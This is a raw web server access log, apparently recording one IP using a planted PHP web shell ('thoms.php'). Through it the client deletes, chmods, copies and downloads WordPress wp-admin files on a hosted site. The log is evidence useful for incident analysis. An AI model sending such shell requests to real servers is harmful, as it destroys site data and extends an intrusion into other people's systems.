45.135.193.11 - - [11/Sep/2026:23:47:52 -0400] "GET /thoms.php?del=includes&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?del=includes&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:53 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:53 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 12035 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:53 -0400] "GET /booking-wise2.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12164 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:54 -0400] "GET /booking-wise2.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:54 -0400] "GET /thoms.php?del=edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fload-styles.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fload-styles.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:54 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:54 -0400] "GET /thoms.php?dl=site-health-info.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-footer.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-footer.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:55 -0400] "GET /thoms.php?del=admin-post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /booking-wise2.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?chmod=post-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15058 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?dl=font-library.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?chmod=media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15664 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fload-scripts.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fload-scripts.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?chmod=admin-footer.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?del=privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:56 -0400] "GET /thoms.php?del=custom-background.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?del=export.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28837 "http://163.245.207.76:443/thoms.php?del=export.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?chmod=comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18953 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fterm.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fterm.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?chmod=authorize-application.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15391 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14281 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?chmod=revision.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?dl=options-reading.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcomment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcomment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12077 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:57 -0400] "GET /thoms.php?dl=credits.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fpress-this.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fpress-this.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?del=themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?chmod=import.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /booking-wise2.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?del=menu-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /booking-wise2.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcustomize.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcustomize.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /thoms.php?del=link-add.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:58 -0400] "GET /booking-wise2.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?chmod=options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /booking-wise2.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /booking-wise2.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?del=site-health.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?dl=export.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=export.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /booking-wise2.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?chmod=install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /booking-wise2.com.tw/wp-admin/css/ HTTP/1.1" 200 3648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ftools.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ftools.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fnetwork.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fnetwork.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:59 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?dl=user-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?del=options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /booking-wise2.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?chmod=users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?del=maint&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=maint&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmedia-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmedia-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?del=user&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=user&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /thoms.php?del=network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:00 -0400] "GET /booking-wise2.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 12433 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /booking-wise2.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?del=edit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
